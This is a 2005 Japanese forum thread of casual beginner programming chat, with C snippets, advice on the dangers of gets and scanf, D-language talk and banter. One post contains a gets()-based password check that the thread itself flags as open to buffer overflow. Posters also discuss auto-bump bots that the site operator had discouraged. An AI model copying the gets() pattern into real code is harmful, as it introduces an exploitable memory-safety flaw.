トップページ⇒tech
1001コメント254KB

VIPPERでもわかるプログラミング

レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん2005/11/17(木) 01:30:42
点プレは>>2-5あたり
0002デフォルトの名無しさん2005/11/17(木) 01:31:24
【初心者】プログラム初心者に最適の言語ってなに?
http://pc8.2ch.net/test/read.cgi/tech/1102142547/

初心者のためのプログラミング言語ガイド
http://pc8.2ch.net/test/read.cgi/tech/1034505166/

初学者が習うといい言語は何?(除PerlとJava)
http://pc8.2ch.net/test/read.cgi/tech/1075035410/

初心者のためのプログラミング言語ガイド Part2
http://pc8.2ch.net/test/read.cgi/tech/1122205164/

【言語】おすすめの言語ってなんでしょう【初心者】
http://pc8.2ch.net/test/read.cgi/tech/1124600090/

【完全初心者】何をやったらいいですか?
http://pc8.2ch.net/test/read.cgi/tech/1031149590/
0003デフォルトの名無しさん2005/11/17(木) 01:31:39
じゃっかる
0004デフォルトの名無しさん2005/11/17(木) 01:31:50
過去スレ

VIPPERでもわかる C言語プログラミング
http://pc8.2ch.net/test/read.cgi/tech/1129913775/

VIPPERでもわかる C言語 Part2
http://pc8.2ch.net/test/read.cgi/tech/1131189634/

VIPPERでもわかるプログラミング
http://pc8.2ch.net/test/read.cgi/tech/1131587274/
0005デフォルトの名無しさん2005/11/17(木) 01:32:13
wiki
http://wiki.spc.gr.jp/ProgrammingVIP/
新しいページ作りたい場合はURLのうしろに?(ページ名)ってつける

たとえばページ名をVIPにしたい場合は
http://wiki.spc.gr.jp/ProgrammingVIP/?VIP

すでに同名のページがあれば表示されるし、なければ新規ボタンがでるから押せ

上のほうにある編集ボタンを押せば文章書ける
最後に保存ボタンを押してセーブできる
0006デフォルトの名無しさんNGNG
Wiki
http://www7a.biglobe.ne.jp/~boonzo/vip_c/
0007デフォルトの名無しさん2005/11/17(木) 01:33:56
このスレもよろしく
http://ex10.2ch.net/test/read.cgi/news4vip/1131414679/l50
0008デフォルトの名無しさん2005/11/17(木) 06:06:32
新スレを見失ったに20レス
0009デフォルトの名無しさん2005/11/17(木) 08:56:29
みんなここだお(^ω^;)
0010デフォルトの名無しさん2005/11/17(木) 08:56:34
>>1
かばやろう!
スレタイに「2」って付けろい。
0011デフォルトの名無しさん2005/11/17(木) 09:18:02
糞スレ
0012デフォルトの名無しさん2005/11/17(木) 09:21:51
>>11
(^ω^#)
0013デフォルトの名無しさん2005/11/17(木) 09:27:12
前スレまとめ

■英語出来ない奴は来るな
■初心者は来るな
■Be使用者は来るな
■コテは来るな
■VIPPERは来るな
0014デフォルトの名無しさん2005/11/17(木) 09:45:28
このスレの方向性
■英語できない奴とか大歓迎
■超絶初心者も大歓迎
■be使用者は死ね
■コテは死ね

0015デフォルトの名無しさん2005/11/17(木) 11:03:33
パートスレうぜー
0016152005/11/17(木) 11:04:04
VIPと間違えました。
0017デフォルトの名無しさん2005/11/17(木) 11:13:53
■メル欄に小細工する奴はキモイ
0018デフォルトの名無しさん2005/11/17(木) 12:28:51
■同意
0019デフォルトの名無しさん2005/11/17(木) 15:54:49
ん?vip移転した?
0020デフォルトの名無しさん2005/11/17(木) 15:56:52
ex10鯖はpingの応答有りだけど・・・
0021デフォルトの名無しさん2005/11/17(木) 16:01:24
ex14準備中みたい・・・
0022デフォルトの名無しさん2005/11/17(木) 16:38:00
実質part17ぐらいか
ム板に移ってから流れ速いな
0023デフォルトの名無しさん2005/11/17(木) 18:34:25
4スレ目だろ
0024デフォルトの名無しさん2005/11/17(木) 18:52:13
#include <iostream>

class HelloWorld {
public:
    HelloWorld() {
        std::cout << "Hello, World." << std::endl;
    }
} helloWorld;

int main() {}
0025デフォルトの名無しさん2005/11/17(木) 18:58:49
#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("あなたのOSは%sです。\n", getenv("OS"));
    return 0;
}
0026デフォルトの名無しさん2005/11/17(木) 19:02:00
>>25
そんな環境変数ないニダ
0027デフォルトの名無しさん2005/11/17(木) 19:06:09
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *os;

    os=getenv("OS");
    
    if (os!=NULL)
    {
        printf("あなたのOSは%sです。\n", os);
    }
    else
    {
        printf("あなたのOSは(´・ω・)カワイソスです。\n");
    }
    return 0;

}
0028デフォルトの名無しさん2005/11/17(木) 19:10:04
         ∧_∧
         (´Д` ) 
         /   /⌒ヽ
      _/⌒/⌒/ / |__
     / (つ /_/ /\ |  /\
   /  (_____/  ヽ/   \
  /| ̄ ̄         ̄ ̄|\   /  それがVIPクオリティ
/  |   かまって     |  \/     http://ex7.2ch.net/news4vip/
    |   ください     |/
0029デフォルトの名無しさん2005/11/17(木) 19:15:52
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *os;
    
    putenv("OS=VIPクオリティ");

    os=getenv("OS");
    
    if (os!=NULL)
    {
        printf("あなたのOSは%sです。\n", os);
    }
    else
    {
        printf("あなたのOSは(´・ω・)カワイソスです。\n");
    }
    return 0;
}
0030デフォルトの名無しさん2005/11/17(木) 19:23:08
#include <stdio.h>
#include <string.h>
int main(void)
{
char pass[20];
printf("パスワードを入力してください:");
gets(pass);
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
else printf("たわけ");
return 0;
}
0031たわけ2005/11/17(木) 19:40:15
 
0032デフォルトの名無しさん2005/11/17(木) 19:41:00
>>30
バッファオーバフローによりプログラムの実行権限を乗っ取られる脆弱性があります。
0033デフォルトの名無しさん2005/11/17(木) 19:41:31
(σ・∀・)σgets
0034デフォルトの名無しさん2005/11/17(木) 19:45:16
#include <stdio.h>
#include <string.h>
int main(void)
{
char pass[20];
printf("パスワードを入力してください:");
fgets(pass, 19, stdin);
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
else printf("たわけ");
return 0;
}
0035デフォルトの名無しさん2005/11/17(木) 19:51:16
if (!strcmp("vip", pass) printf("⊂二二二( ^ω^)二⊃ブーン");
↑の括弧内の条件の中にある「!」が最初にある場合は
なんて訳せばいいんですか?
0036デフォルトの名無しさん2005/11/17(木) 19:59:03
>>35
!は否定。〜でないときとでも言えばいい。
ただ、strcmpは一致すれば0を返す仕様だから、
!strcmpは熟語的に「文字列が等しければ」とでも思っておくのが良いと思う。
0037スーパーハカー2005/11/17(木) 20:00:41
//環境変数をブルートフォースアタックで解析
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

int main()
{
    char *alnum="0123456789abcdefghijklmnopqrstuvwxyz";
    int i, num;
    char hensuu[10];
    char *value;

    for (i=0 ; i<pow(36,4) ; i++)
    {
        num=i;
        strcpy(hensuu, "");
        while(num!=0)
        {
            sprintf(hensuu, "%s%c", hensuu, alnum[num%strlen(alnum)]);
            num/=strlen(alnum);
        }

        value=getenv(hensuu);
        if (value!=NULL)
        {
            puts(value);
        }
    }
    return 0;
}
0038デフォルトの名無しさん2005/11/17(木) 20:03:40
>>36
丁寧に答えて下さってありがとう御座います!!
strcmpが0を返す事を利用するとは参りましたw
0039デフォルトの名無しさん2005/11/17(木) 20:09:14
>>37
それいつ終わりますか
0040デフォルトの名無しさん2005/11/17(木) 20:09:48
プログラム作るのって何ですればいいんですか?
0041デフォルトの名無しさん2005/11/17(木) 20:13:06
>>38
http://www.kouno.jp/home/c_faq/c17.html#3
0042デフォルトの名無しさん2005/11/17(木) 20:13:59
>>34
右括弧が足りないじゃんww
0043デフォルトの名無しさん2005/11/17(木) 20:17:07
ttp://www.vipper.org/vip142398.tar
実行方法は
./a.out [0-9_¥-¥.]*
0044デフォルトの名無しさん2005/11/17(木) 20:24:32
>>41
サイト参考になります(´・ω・`)
0045デフォルトの名無しさん2005/11/17(木) 20:27:14
>>37
無駄が多い。
0046デフォルトの名無しさん2005/11/17(木) 20:28:42
独習C終わた。2周した。疲れた。次は独習C++だ。
0047デフォルトの名無しさん2005/11/17(木) 21:30:48
テラヤサシス
0048デフォルトの名無しさん2005/11/17(木) 21:31:19
誤爆スマン
0049デフォルトの名無しさん2005/11/17(木) 23:07:47
いや俺も優しいと思うな
0050デフォルトの名無しさん2005/11/18(金) 07:18:53
>>45
具体的に指摘してよ
0051デフォルトの名無しさん2005/11/18(金) 07:26:25
>>40
とりあえず、コンパイラをインスコせなならん
0052デフォルトの名無しさん2005/11/18(金) 08:41:13
>> 50
const char* に何度も strlen
なぜそこで使うか pow
毎回 sprintf

とか。
0053デフォルトの名無しさん2005/11/18(金) 18:25:30
VIPPERへの課題:RFC 3091を実装せよ。
0054デフォルトの名無しさん2005/11/18(金) 18:31:53
>>53
>コネクションが確立されると、サーバはデータのストリームとして小数点に続く
>最上位の桁から始めて一度に円周率の一桁ずつを送信する
>これはクライアントがコネクションを閉じるまで続く
なんだこのDoSの温床wwwwww
0055デフォルトの名無しさん2005/11/18(金) 18:56:59
>>54
ちょwwwおまwww
コネクション繋ぎっぱなしにするだけす
text/plan+Keep-Aliveでどうにかなる気ガス
#ただ何でキャッシュを使わない?
0056デフォルトの名無しさん2005/11/18(金) 19:02:22
>>55
なんでHTTPなんだよw
0057デフォルトの名無しさん2005/11/18(金) 19:06:00
言ってる事が意味不明…(´・ω・`)
0058デフォルトの名無しさん2005/11/18(金) 19:14:57
あれ?このスレC言語スレ?
0059デフォルトの名無しさん2005/11/18(金) 19:25:50
ただの雑談スレです
0060デフォルトの名無しさん2005/11/18(金) 19:55:05
C言語を一通り勉強しおえたんだ。まぁ、基本だけなんだが。で、次はC++にチャレンジする。
で、Visual C++はWindowsアプリケーションが作れると聞いたんだが、でもC++だってライブラリが用意されてるからGUI作れるよな。
じゃあこの2つは一体何が違うんだ?
0061デフォルトの名無しさん2005/11/18(金) 19:55:08
初心者が入り込めなくなる話題は避けましょうね(・∀・)
0062デフォルトの名無しさん2005/11/18(金) 19:57:12
>>60
Visual C++ はマイクロソフトのC++開発環境一式の名称

C++はJavaと違ってGUIの標準がないから
MFCとかVCLとかQtとか使うことになる
0063デフォルトの名無しさん2005/11/18(金) 20:00:30
じゃあこのスレでGUIの標準作ってやろうぜ。
0064デフォルトの名無しさん2005/11/18(金) 20:05:14
C言語にHello world!で勝負を挑んでみたけど出来たバイナリのサイズが一緒で引き分けだった・・・
0065デフォルトの名無しさん2005/11/18(金) 20:07:06
今世紀最大の犯罪予告

詳細は、↓をクリックしる
http://aa5.2ch.net/test/read.cgi/nida/1130995497/
0066デフォルトの名無しさん2005/11/18(金) 20:08:36
OSでも作りたいのならC言語やれ
0067デフォルトの名無しさん2005/11/18(金) 20:12:09
TOMOYO Linuxになんて負けないもっと萌えを追及した
ディストリビューションでも誰か作ってくれよ
0068デフォルトの名無しさん2005/11/18(金) 20:37:25
ライブラリって便利すぎて卑怯だよな
ソートするやつとか
0069デフォルトの名無しさん2005/11/18(金) 20:43:23
>>68
おまえはjavaと.NETを馬鹿にした
0070デフォルトの名無しさん2005/11/18(金) 20:49:33
>>62
あぁ、商品名かwwww
0071デフォルトの名無しさん2005/11/18(金) 22:56:38
コードの色付きLinux凄ス
http://virus.org.ua/unix/cool/linux.html
旧BSDも
http://virus.org.ua/unix/cool/bsd.html
Worldも
http://virus.org.ua/unix/woid.jpg
0072デフォルトの名無しさん2005/11/18(金) 23:22:37
>>71
ノー�d先生に怒られた
0073デフォルトの名無しさん2005/11/19(土) 00:43:06
char c;
for(c=0; c<127; c++) if(isprint(c)) printf("%c", c);
0074デフォルトの名無しさん2005/11/19(土) 01:25:15
オンラインゲームの方はどうなった?
0075デフォルトの名無しさん2005/11/19(土) 02:46:28
>>55
常時はってるかは関係なく、コネクションはりまくって
パケット捨てまくれば立派な DoS 攻撃どす。
ってか、ジョーク RFC にマジレス ( ´・ω・)カコワルス
0076デフォルトの名無しさん2005/11/19(土) 07:19:57
VIPのスレまた落ちた
0077デフォルトの名無しさん2005/11/19(土) 07:26:04
落ちるの速いよ。
最後の書き込みは 05:52 だったぞ。
なんなんだ。
0078デフォルトの名無しさん2005/11/19(土) 07:41:38
うはwその速さじゃ時の賢者ホッシュでも保守は無理ぽ。
0079デフォルトの名無しさん2005/11/19(土) 07:43:10
こっちでやってもいいけど住民がなぜかあまり被ってない気がしないでもないわけでもないかもしれない。
0080デフォルトの名無しさん2005/11/19(土) 09:58:35
('ω`) ◆YDnNOS/Dosは、どこ行った?www
0081デフォルトの名無しさん2005/11/19(土) 10:20:46
ひょっこり出てくるなら名前出すなよ
0082デフォルトの名無しさん2005/11/19(土) 10:29:19
名無しになってるです
0083デフォルトの名無しさん2005/11/19(土) 12:06:48
俺はこっちに移ってきた。
いまのVIPではプログラムなんで出来ね
0084デフォルトの名無しさん2005/11/19(土) 12:13:49
てか寒い
冬でも暖かくなるプログラム作って
0085デフォルトの名無しさん2005/11/19(土) 12:26:11
>>84
スレッドを最大数立てて、全部∞ループで
三角関数などの計算コストの高い処理を繰り返せ
きっと暖かくなる
0086デフォルトの名無しさん2005/11/19(土) 12:27:27
http://ex14.2ch.net/test/read.cgi/news4vip/1132370152/
VIPに立てたよ
0087デフォルトの名無しさん2005/11/19(土) 12:46:59
今さらですが、単方向リスト作ってみました。これでだいじょぶ?
ttp://www.vipper.org/vip143186.txt
メチャ悩んだよ ><

解放のしかたがおわっとる。
これを双方向にしたいんだけど、今日中に終わる自信なし・・。

>>86
おつかれちゃーん!
0088デフォルトの名無しさん2005/11/19(土) 13:05:01
>>86
落ちた
保守しろよwwww
0089デフォルトの名無しさん2005/11/19(土) 13:06:33
今、VIP落ちるの早いっぽい
0090デフォルトの名無しさん2005/11/19(土) 13:07:47
どっかで乱立祭りでもやってる?
0091デフォルトの名無しさん2005/11/19(土) 13:10:58
>>88
えええwwwwもう落ちたのかよwww
やってらんねww
0092デフォルトの名無しさん2005/11/19(土) 13:11:45
http://ex14.2ch.net/test/read.cgi/news4vip/1132372836/
みつけたw
0093デフォルトの名無しさん2005/11/19(土) 13:40:47
自動保守プログラム誰か使ってなかった?
最終書き込み時間見て書き込むやつ
0094デフォルトの名無しさん2005/11/19(土) 13:44:08
規制ぬるくなったから落ちるのは仕方ないだろ
需要がなきゃ落ちるのは定めだからな
0095デフォルトの名無しさん2005/11/19(土) 14:10:12
>>93
age2chだっけ?ググれば出てくるだろ?
0096デフォルトの名無しさん2005/11/19(土) 14:45:51
age2ch
一時間単位でしか指定できないお
一時間じゃ間に合わないお
0097デフォルトの名無しさん2005/11/19(土) 14:47:37
age2chをこのスレで改良するとか
0098デフォルトの名無しさん2005/11/19(土) 15:12:03
10人でずらして使えば6分に一度書き込めるじゃん
0099デフォルトの名無しさん2005/11/19(土) 15:21:20
また落ちたなw
0100デフォルトの名無しさん2005/11/19(土) 15:25:07
age2chはDelphiで作られています
0101デフォルトの名無しさん2005/11/19(土) 16:15:52
また落ちたがな(´・ω・)
0102デフォルトの名無しさん2005/11/19(土) 16:22:31
スレに何送れば書き込めるの?
0103デフォルトの名無しさん2005/11/19(土) 16:26:13
>>102
ttp://age.s22.xrea.com/talk2ch/#post
0104デフォルトの名無しさん2005/11/19(土) 16:27:46
>>103
作るの簡単じゃね?w
0105デフォルトの名無しさん2005/11/19(土) 16:30:04
悪用されない?
0106デフォルトの名無しさん2005/11/19(土) 16:41:36
そりゃされるさ。
age2chだって出た当初は運営から使用禁止勧告がでてたんだ。
0107デフォルトの名無しさん2005/11/19(土) 16:44:53
つうかage2chのCUI版使えば1分単位で保守できるけどな。
0108デフォルトの名無しさん2005/11/19(土) 16:45:04
VIPのスレ保守用に欲しい。
0109デフォルトの名無しさん2005/11/19(土) 16:46:57
じゃあ役割分担してみんなで作ろうぜ。
0110デフォルトの名無しさん2005/11/19(土) 16:47:40
>>107
じゃあage2ch使えばいいじゃん。わざわざ新しく作る意味ないね。
0111デフォルトの名無しさん2005/11/19(土) 16:47:47
じゃあ俺なにやればいいの?
0112デフォルトの名無しさん2005/11/19(土) 16:50:09
分単位の保守ツール
http://www.borujoa.org/upload/source/upload3346.exe
0113デフォルトの名無しさん2005/11/19(土) 16:51:23
作るとなるとWinSock使うのかな。
DelphiでIndy使ってGetしかしたことないからPost知らん。
0114デフォルトの名無しさん2005/11/19(土) 16:52:02
>>112
怖くて踏めない
0115デフォルトの名無しさん2005/11/19(土) 16:52:34
あ、hide押すとウインドウを隠す(タスクバーなどにも表示されない)からタスクマネージャーから終了させる必要があります
0116デフォルトの名無しさん2005/11/19(土) 16:53:27
>>114
それじゃあ汚いけどソース晒そうか?
ていうかage2ch.pl使う人がいればそれでいいんだけど
別に今から新しいの作っても楽しそうだけど
0117デフォルトの名無しさん2005/11/19(土) 16:54:33
保守ってjavascriptじゃできないの?
0118デフォルトの名無しさん2005/11/19(土) 16:55:14
javaでsocket通信できたっけ
0119デフォルトの名無しさん2005/11/19(土) 16:55:46
>>116
つーかexeでうpるなハゲ
0120デフォルトの名無しさん2005/11/19(土) 16:56:05
118だけどjavascriptね
0121デフォルトの名無しさん2005/11/19(土) 16:57:01
>>119
じゃあ何がよかったんだよ(^ω^;)
0122デフォルトの名無しさん2005/11/19(土) 16:57:37
>>113
IdHTTP.Post(URL, PostData:TStringList);
0123デフォルトの名無しさん2005/11/19(土) 16:57:45
zip
0124デフォルトの名無しさん2005/11/19(土) 16:59:04
一つのファイルをzipにして意味あるの?
0125デフォルトの名無しさん2005/11/19(土) 16:59:59
Delphi嫌だからActiveBasicで作ろうよ。
0126デフォルトの名無しさん2005/11/19(土) 17:00:12
私はDelphi知らないですが、Delphiはネットワークにデータを送るとき
ホストバイトオーダとかネットワークバイトオーダとか
気にするんですか?
0127デフォルトの名無しさん2005/11/19(土) 17:01:33
それはdelphiとか関係なく気にしないといけないんじゃないの
0128デフォルトの名無しさん2005/11/19(土) 17:39:07
>>124
汝にフールプルーフという言葉を授けよう。
0129デフォルトの名無しさん2005/11/19(土) 17:43:28
それは違うだろ
0130デフォルトの名無しさん2005/11/19(土) 17:49:09
禁止勧告でてるなら他の手段かんがえたほうが
0131デフォルトの名無しさん2005/11/19(土) 17:56:27
何らかの手段でVIPに延命させたとしても保守レスばかりじゃな…
0132デフォルトの名無しさん2005/11/19(土) 17:57:32
おまいらwが足りませんよ
0133デフォルトの名無しさん2005/11/19(土) 18:09:35
まあなんだ
FreeMacro!
0134デフォルトの名無しさん2005/11/19(土) 18:25:29
プログラム必死こいて作ってると、スレ読まなくなってスレ落ちる(つД`)
0135デフォルトの名無しさん2005/11/19(土) 18:29:07
>>134
おまいはオレか。
0136デフォルトの名無しさん2005/11/19(土) 18:49:33
おまいらはプログラムよりおもしろいライセンスを考えろ

ソースを商用利用する場合は作者のサイトにアナル画像をうpしてくださいとか
0137デフォルトの名無しさん2005/11/19(土) 18:53:43
いや、それだと法律に引っかからないか?
0138デフォルトの名無しさん2005/11/19(土) 18:56:44
ネタにマジレスカコワルイ
0139デフォルトの名無しさん2005/11/19(土) 18:58:03
笑点なみにレベルの低いネタだな
0140デフォルトの名無しさん2005/11/19(土) 18:58:42
>>136
必ず配布ファイル群に
「僕は神山満月ちゃん!」と叫んだ音声ファイルを含めること
.wav .mp3 .ogg等
0141デフォルトの名無しさん2005/11/19(土) 19:04:23
たわけ
0142デフォルトの名無しさん2005/11/19(土) 19:32:42
>>140
形式はaiffのみでw
0143デフォルトの名無しさん2005/11/19(土) 20:01:44
2ちゃんねるのDATを読み込んでテキストに整形するプログラム作ったんだけど欲しい?
0144デフォルトの名無しさん2005/11/19(土) 20:04:30
>>140
かみやま みづき って読むのか?
0145デフォルトの名無しさん2005/11/19(土) 20:04:51
>>143
JaneだとDatで保存されてしまうから重宝するよ
0146デフォルトの名無しさん2005/11/19(土) 20:07:26
こうやまみつき
0147デフォルトの名無しさん2005/11/19(土) 20:08:34
U15板へどうぞ
0148デフォルトの名無しさん2005/11/19(土) 20:16:07
DAT程度数行のスクリプトで
0149デフォルトの名無しさん2005/11/19(土) 20:18:52
うpしようと思ったけどWin向けに修正が必要だ・・・
0150デフォルトの名無しさん2005/11/19(土) 21:24:37
>>143
プログラミング暦どれくらいで、それを作れるようになりましたか。
0151デフォルトの名無しさん2005/11/19(土) 21:29:34
>>150
>>148

Cでも楽にできるし、Perlとか使えば余裕だろ
0152デフォルトの名無しさん2005/11/19(土) 21:35:44
おまえら本当に負けず嫌いだなw
0153デフォルトの名無しさん2005/11/19(土) 21:42:50
オレオレ大王スレ
0154デフォルトの名無しさん2005/11/19(土) 21:55:24
っで結局なに作るんだ?
0155デフォルトの名無しさん2005/11/19(土) 21:57:51
目玉焼き
0156デフォルトの名無しさん2005/11/19(土) 22:00:57
どう見ても玉子焼きです
ありがとうございました
0157デフォルトの名無しさん2005/11/19(土) 22:05:00
おまいら暇ならちょっと頼みたいことがある
http://ex14.2ch.net/news4vip
↓
ex14.2ch.net
の変換関数をDelphiで作ってくれ
もちろん全板対応でな、ちょっと待つわ〜
0158デフォルトの名無しさん2005/11/19(土) 22:07:09
/http:\/\/(\w*\.2ch\.net)/
0159デフォルトの名無しさん2005/11/19(土) 22:23:29
strcpy(vip, "http://www.vip-quality.com/");
01601432005/11/19(土) 22:29:06
ttp://www.vipper.org/vip143423.zip

めんど臭かったからソースだけニダ
多分
gdc main.d encode.d dat.d -liconv
でコンパイル出来るニダ

出力エンコーディングはUTF-8ニダ

>>150
1年もたってないニダ
0161デフォルトの名無しさん2005/11/19(土) 22:34:56
これCじゃねぇ
0162デフォルトの名無しさん2005/11/19(土) 22:43:42
D言語?
0163デフォルトの名無しさん2005/11/19(土) 22:44:23
D言語かよ(゚�听)イラネ
0164デフォルトの名無しさん2005/11/19(土) 22:44:31
D言語ってジョークだとおもってた
0165デフォルトの名無しさん2005/11/19(土) 22:45:36
D言語ってどうなんだ?
業務的分野じゃ聞いたことがない。
0166デフォルトの名無しさん2005/11/19(土) 22:51:13
D言語でもなんでもいいが
構造体の名前の頭文字が大文字だったり小文字だったりするのはやめてくれ。
気持ち悪い。
0167デフォルトの名無しさん2005/11/19(土) 22:51:32
>>165
ttp://www.kmonos.net/alang/d/comparison.html
俺はC/C++で十分だと思うし、Dの何処がいいのか理解できん
0168デフォルトの名無しさん2005/11/19(土) 22:52:04
>>165
そりゃ個人が作ってて、まだ仕様もきっちり決まってない様な言語を業務で使われたらたまらんわい。
0169デフォルトの名無しさん2005/11/19(土) 22:52:32
>>166
統一されてますが?
なにみてんの?
0170デフォルトの名無しさん2005/11/19(土) 22:55:09
どうでもいいが、Copyrightは普通ソースの頭に説明と一緒に書くものだと思うんだが


>>168
あれって個人が作ってるのか?それなりに人気のRubyとはえらい違いだなwwww
0171デフォルトの名無しさん2005/11/19(土) 22:56:18
Rubyは時流に乗って今や世界の4大スクリプトだもんな、スゲーよ
Railsのおかげとはいえ
01721432005/11/19(土) 22:57:23
>>170
一応会社になってるけど中の人は一人だった希ガス

Copyrightは・・・
0173デフォルトの名無しさん2005/11/19(土) 22:57:47
つーかD言語でOSを作ろうとしてる人か
0174デフォルトの名無しさん2005/11/19(土) 22:58:57
VIPまた落ちたぞ
0175デフォルトの名無しさん2005/11/19(土) 22:59:35
もうだめぽ・・・
0176デフォルトの名無しさん2005/11/19(土) 23:00:34
エロゲとか2ちゃんねるブラウザとか勉強会とか全部こっちでやるのか?
0177デフォルトの名無しさん2005/11/19(土) 23:01:04
vip臭をここで出さなければここでやってもいいよ
0178デフォルトの名無しさん2005/11/19(土) 23:05:47
もうVIPは駄目だな
0179デフォルトの名無しさん2005/11/19(土) 23:07:05
ファイルを暗号化するプログラムを書いているんですがコンパイルして実行してみると
問題が発生したためとの趣旨で終了させられます。
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<dir.h>

main(int argc,char*argv[]){
char ch;
FILE *fp;
FILE *wfp;
char filename[256];
char outfilename[256];
char key[128];
int keylen;
int i=0;

//原文ファイル名の決定
if(argc > 1){
strcpy(filename,argv[1]);
}else{
printf("ファイル名を入力してください>");
scanf("%s",filename);
}

0180デフォルトの名無しさん2005/11/19(土) 23:09:09
dir.hってなに?
0181デフォルトの名無しさん2005/11/19(土) 23:09:29
誤爆したw
0182デフォルトの名無しさん2005/11/19(土) 23:10:36
>>179
http://pc8.2ch.net/test/read.cgi/tech/1129043264/661-

誤爆?
0183デフォルトの名無しさん2005/11/19(土) 23:10:58
工エエェェ(´д`)ェェエエ工

せっかくだから最後まで上げてよ
0184デフォルトの名無しさん2005/11/19(土) 23:11:12
>>181
おまえはアメリカ爆撃機かよ
0185デフォルトの名無しさん2005/11/20(日) 00:38:59
おまえらソフトウェアに求められる品質の基準としてVIPクオリティーを定めないか?
0186デフォルトの名無しさん2005/11/20(日) 00:40:01
>>179
scanf つかっちゃめー
使うなら、gets( char* dist ) か、fgets( char* dist, int length, FILE* in )。
01871432005/11/20(日) 00:46:29
gets(2)だって大して変わらんだろw
0188デフォルトの名無しさん2005/11/20(日) 00:48:37
windowsでgetsもfgetsも使うことは無い
0189デフォルトの名無しさん2005/11/20(日) 00:49:28
>>186
それ品質の基準じゃなくてコーディング規約だから
0190デフォルトの名無しさん2005/11/20(日) 00:57:53
>>188
だな。エディットコントロールに書き込ませてGetWindowTextだな。
0191デフォルトの名無しさん2005/11/20(日) 01:01:12
むしろscanfよりgetsの方がたち悪いな
0192デフォルトの名無しさん2005/11/20(日) 01:05:35
なぜ?vbしか知らない俺には全然分かりません
0193デフォルトの名無しさん2005/11/20(日) 01:06:57
日本語しか知らない俺にも全然分からん
01941432005/11/20(日) 01:06:57
>>192
fgetsでは読み込むサイズを指定するがgets, scanfは指定しないためメモリを破壊する。
0195デフォルトの名無しさん2005/11/20(日) 01:11:23
そんな危険な関数を放置しているC言語標準化委員会なんて放っておいて
MS独自拡張使おうぜ
0196デフォルトの名無しさん2005/11/20(日) 01:12:22
11月19日の投稿数: 26,131

ニュー速VIP (15619)
実況headline (1181)
モ娘(狼) (927)
速報headline (760)
ニー速 (755)

うひょー
0197デフォルトの名無しさん2005/11/20(日) 01:25:57
scanfの%sなら空白きたら止まるからまだマシだが、getsなんて空白こようと無視するからな
\nで止まるんだっけ?
01981432005/11/20(日) 01:27:23
ファイルの終端まで読み込んだはず・・・
0199デフォルトの名無しさん2005/11/20(日) 01:31:36
gets() は、改行文字か EOF までの 1行を stdin から読み込み s が指すバッファに格納する (末尾の改行文字や EOF は '\0' に置き換えられる)。バッファ・オーバーランのチェックは行われない

http://www.linux.or.jp/JM/html/LDP_man-pages/man3/gets.3.html
02001432005/11/20(日) 01:34:34
改行でとまったか・・・orz
0201デフォルトの名無しさん2005/11/20(日) 01:43:21
よく分からないがそんな危険なものがなんで実装されてるの?
fgetsだけじゃだめなの?
0202デフォルトの名無しさん2005/11/20(日) 01:44:09
使い方が簡単だから
0203デフォルトの名無しさん2005/11/20(日) 01:52:52
gets(char *s, int size);
こうすればいいじゃん

それ以前の問題としてC言語は渡した配列のサイズを受け側で認識できないのが最大のセキュリティホール
0204デフォルトの名無しさん2005/11/20(日) 01:58:38
>>203
それはみんな思ってることだ
逆に、その問題点を常に意識してプログラム書くから
他の言語に比べてロジックバグは少なくなるという。

それがいいことかと言われると正直Yesとはいいづらいけど
その辺の危機意識を身を持って感じた人間は
多言語を触るときに強いと思うお
0205デフォルトの名無しさん2005/11/20(日) 02:00:47
>>202
エラーでるなら使い方難しいんじゃね?
0206デフォルトの名無しさん2005/11/20(日) 02:03:10
>>203
そんなことできるか?
0207デフォルトの名無しさん2005/11/20(日) 02:05:23
>>206
できねーよ

C言語の実装をこういう風に変えたらいいじゃんっていう希望願望夢
0208デフォルトの名無しさん2005/11/20(日) 02:07:47
オレならこうする!こうしました! って感じのvipper専用libc
libvipcを作ればよくね?
0209デフォルトの名無しさん2005/11/20(日) 02:10:18
基本的にはlibcのラッパーのように機能して
#include <vip.h>
正直、libcの機能を体系的にまとめて編成しなおしたいという願望は
みんな心の奥底に持っているんじゃまいか?
0210デフォルトの名無しさん2005/11/20(日) 02:16:32
やっぱりCって基本なのかなあ・・・今までVBとかaspとかjavaしかやったことないけどCやらないとだめなのか
0211デフォルトの名無しさん2005/11/20(日) 02:17:51
だめってことはないんじゃまいか
0212デフォルトの名無しさん2005/11/20(日) 02:25:27
セキュアなライブラリはGNUやMSが用意してくれてる
あとは名前統一するだけ
0213デフォルトの名無しさん2005/11/20(日) 02:25:56
>>195
2005からはgetsやscanfのサイズ指定可能版も出たな
0214デフォルトの名無しさん2005/11/20(日) 02:30:29
>>210
何が基本と言うことはない
いや、確かにCは基本かもしれないけど
重要なのは「言語は手段であって目的ではない」ということだお
どんな言語にも得手不得手はあるし、目的に応じて
言語を使い分けることはプロのプログラマとして当たり前田のキャプチュード
0215デフォルトの名無しさん2005/11/20(日) 02:32:01
MSがセキュアなCライブラリを提供してくれてたとは知りませんでした。
勉強不足で申し訳ありません。 腹を切ってきます。
0216デフォルトの名無しさん2005/11/20(日) 03:08:08
_s がつく関数?
0217デフォルトの名無しさん2005/11/20(日) 06:24:49
今日はここでエウレカ待ち ^^

vipはもう駄目ぽ。。
0218デフォルトの名無しさん2005/11/20(日) 06:28:08
今日のがっちりマンデーは幻冬舎の社長でるぞ
0219デフォルトの名無しさん2005/11/20(日) 06:46:39
幻冬舎の社長は妙に熱い人だよね。
面白そうだけど、報道2001も見たいなぁ。
今日は平沼赳夫さんが出るみたいだし。
0220デフォルトの名無しさん2005/11/20(日) 06:47:05
エウレカセブンやるぞ
0221デフォルトの名無しさん2005/11/20(日) 06:48:06
まだだよ
0222デフォルトの名無しさん2005/11/20(日) 06:49:38
もうすこしではじまっちゃうだろ!
0223デフォルトの名無しさん2005/11/20(日) 06:55:57
実況行くか
0224デフォルトの名無しさん2005/11/20(日) 06:56:19
よっしゃ、いくぞぉぅん
0225デフォルトの名無しさん2005/11/20(日) 07:29:45
オワタ。世の中愛だとオモタ。
みんながんばろー (`・ω・´)
